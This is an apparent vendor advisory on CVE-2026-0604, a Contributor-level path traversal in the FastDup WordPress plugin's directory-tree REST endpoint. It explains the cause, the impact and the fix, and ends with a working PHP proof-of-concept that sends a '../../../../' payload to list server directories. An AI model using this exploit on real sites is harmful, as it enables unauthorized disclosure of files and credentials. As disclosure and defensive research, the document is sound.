Atomic Edge analysis of CVE-2026-0604 (metadata-based): This vulnerability is an authenticated path traversal in the FastDup WordPress plugin, affecting all versions up to and including 2.7. The flaw resides in the ‘njt-fastdup/v1/template/directory-tree’ REST API endpoint. Attackers with Contributor-level permissions or higher can exploit it to read arbitrary directories on the server, leading to sensitive information disclosure. The CVSS score of 6.5 (Medium) reflects its network accessibility, low attack complexity, and high confidentiality impact.
Atomic Edge research indicates the root cause is CWE-22, Improper Limitation of a Pathname to a Restricted Directory. The vulnerability description confirms the ‘dir_path’ parameter is not properly sanitized or validated before being used in a filesystem operation. Without a code diff, this conclusion is inferred from the CWE classification and the described attack vector. The plugin likely passes user-supplied input directly to a function like `scandir()` or `glob()` without stripping directory traversal sequences.
Exploitation requires a valid WordPress user account with at least Contributor privileges. An attacker sends a crafted GET or POST request to the vulnerable REST endpoint, ‘/wp-json/njt-fastdup/v1/template/directory-tree’. The malicious payload is placed in the ‘dir_path’ parameter, using sequences like ‘../../’ to escape the intended directory. For example, a request with ‘dir_path=../../../../etc’ could attempt to list the contents of the server’s /etc directory.
Remediation requires proper input validation and path sanitization. The patched version 2.7.1 likely implemented a fix that normalizes the user-supplied path, restricts it to a safe base directory, or validates it against an allowlist of permitted directories. Canonicalization functions should resolve relative path components before checking if the final path remains within the intended scope.
Successful exploitation allows an authenticated attacker to enumerate directories and read files outside the web root. This can expose sensitive configuration files, database credentials, backup files, or source code. While the vulnerability does not permit direct file write or remote code execution, the information gathered can facilitate further attacks, such as credential theft or privilege escalation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0604 - FastDup <= 2.7 - Authenticated (Contributor+) Path Traversal via 'dir_path' REST Parameter
<?php
// CONFIGURATION
$target_url = 'https://example.com'; // Target WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Password for the user
$dir_path_payload = '../../../../'; // Path traversal payload. Adjust depth as needed.
// WordPress REST API endpoint for the vulnerability
$rest_endpoint = '/wp-json/njt-fastdup/v1/template/directory-tree';
// STEP 1: Authenticate to WordPress and obtain a nonce (REST API authentication typically uses cookies or JWT).
// This example uses WordPress application passwords or basic auth for simplicity in a PoC.
// In a real attack, an attacker would use their authenticated browser session cookies.
// We simulate an authenticated POST request by sending credentials directly (if basic auth is enabled).
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $rest_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
// Assuming the endpoint expects POST. Could also be GET; adjust if needed.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['dir_path' => $dir_path_payload]));
// Set authentication headers for a user with Contributor role.
// This PoC assumes the use of WordPress Application Passwords or Basic Authentication over HTTPS.
// In a typical exploit, the attacker uses their existing session cookies.
curl_setopt($ch, CURLOPT_USERPWD, $username . ':' . $password);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// STEP 2: Output results
if ($http_code == 200 && !empty($response)) {
echo "[*] Potential success. HTTP $http_code. Response:n";
echo $response;
// The response likely contains a JSON listing of files/directories from the traversed path.
} else {
echo "[!] Request failed or directory not readable. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
